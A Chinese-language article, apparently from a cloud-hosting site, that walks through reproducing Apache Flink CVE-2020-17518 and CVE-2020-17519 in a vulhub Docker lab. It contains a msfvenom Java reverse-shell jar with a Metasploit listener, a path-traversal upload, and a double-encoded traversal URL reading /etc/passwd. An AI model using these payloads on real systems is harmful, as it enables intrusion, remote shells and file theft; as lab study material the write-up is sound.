您好,登錄后才能下訂單哦!
這篇文章主要介紹了Apache Flink漏洞復現的示例分析,具有一定借鑒價值,感興趣的朋友可以參考下,希望大家閱讀完這篇文章之后大有收獲,下面讓小編帶著大家一起了解一下。
簡介
Apache Flink 是高效和分布式的通用數據處理平臺,由Apache軟件基金會開發的開源流處理框架,其核心是用Java和Scala編寫的分布式流數據流引擎(簡單來說,就是跟spark類似)。Flink 具有監控 API,可用于查詢"正在運行的jobs" 和 "最近完成的jobs" 的狀態和統計信息。該監控 API 被用于 Flink 自己的dashboard,同時也可用于自定義監控工具,默認監聽在8081端口。
本文涉及知識點實操練習:網絡安全事件(“網絡安全事件”這門課程是由一些影響比較大的安全事件所模擬的測試環境組成。此課程不僅會添加以往的安全事件,而且還會緊跟時事,去添加最新的安全事件。讓大家在第一時間了解,并懂得怎么去保護自身安全為目的。)
該監控 API 是 REST-ful API, 即接受 HTTP請求,并響應JSON格式的數據。
監控 API 中有一個API是 /jars/upload,其作用是將一個jar上傳到集群。該jar必須作為多部分數據發送。確保“ Content-Type”標頭設置為“ application / x-java-archive”,因為某些http庫默認情況下不添加標頭。可以通過curl上傳jar文件
'curl -X POST -H "Expect:" -F "jarfile=@path/to/flink-job.jar" http://hostname:port/jars/upload'
概述
Flink 1.5.1引入了REST API,但其實現上存在多處缺陷,導致任意文件讀取(CVE-2020-17519)和任意文件寫入(CVE-2020-17518)漏洞。
CVE-2020-17518攻擊者利用REST API,可以修改HTTP頭,將上傳的文件寫入到本地文件系統上的任意位置(Flink 1.5.1進程能訪問到的)。
CVE-2020-17519Apache Flink 1.11.0 允許攻擊者通過JobManager進程的REST API讀取JobManager本地文件系統上的任何文件(JobManager進程能訪問到的)。
影響版本
CVE-2020-17518
Apache:Apache Flink: 1.5.1 - 1.11.2
CVE-2020-17519
Apache:Apache Flink: 1.11.0, 1.11.1, 1.11.2
環境搭建
因為受到兩個漏洞影響的版本都包含了1.11.2,所以統一使用這個版本進行復現
此處利用vulhub的環境進行復現,新建docker-compose.yml
version: '2'
services:
flink:
image: vulhub/flink:1.11.2
command: jobmanager
ports:
- "8081:8081"
- "6123:6123"
使用docker-compose啟動該環境,執行以下命令會下載鏡像并以此鏡像啟動一個容器,映射的端口為8081和6123
docker-compose up -d
訪問http://ip:8081
漏洞復現
任意文件上傳(CVE-2020-17518)復現:
Apache Flink 1.5.1引入了REST處理程序,該處理程序允許通過經過惡意修改的HTTP HEADER將上傳的文件寫入本地文件系統上的任意位置。
訪問http://ip:8081,找到Submit New Job的Add New上傳一個jar包,jar包可以在桌面新建一個壓縮文件,將zip后綴修改為jar即可,然后抓包
抓到的請求包如下:
將請求包發送到repeater模塊進行修改,比如我這里是在/tmp目錄下新建一個文件,../是為了方便切換路徑,因為我們不知到當前的路徑是什么,所以可以使用../切換到根目錄。
查看文件是否上傳成功
docker ps查看容器
進入容器
docker exec -it CONTAINER ID /bin/bash
可以看到文件成功上傳
flink 本身是沒有鑒權的,并且它本身支持任意jar包上傳并執行,所以可以通過上傳jar包getshell
生成jar格式的馬
lhost為kali的ip,lport為kali接收shell的端口
msfvenom -p java/shell_reverse_tcp lhost=192.168.74.142 lport=1234 -f jar >/home/a.jar
啟動msf接收shell
msfconsole
use exploit/multi/handler
set payload java/shell_reverse_tcp
set LHOST 192.168.74.142
set LPORT 1234
exploit
將jar包上傳后點擊上傳的包然后Submit
獲取到shell
任意文件讀取(CVE-2020-17519)復現:
Apache Flink 1.11.0中引入的更改(以及1.11.1和1.11.2中也發布)允許攻擊者通過JobManager進程的REST接口讀取JobManager本地文件系統上的任何文件。訪問僅限于JobManager進程可訪問的文件。
比如我這里讀取/etc/下的passwd文件,%252f為/的兩次url編碼
http://192.168.74.134:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
感謝你能夠認真閱讀完這篇文章,希望小編分享的“Apache Flink漏洞復現的示例分析”這篇文章對大家有幫助,同時也希望大家多多支持億速云,關注億速云行業資訊頻道,更多相關知識等著你來學習!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。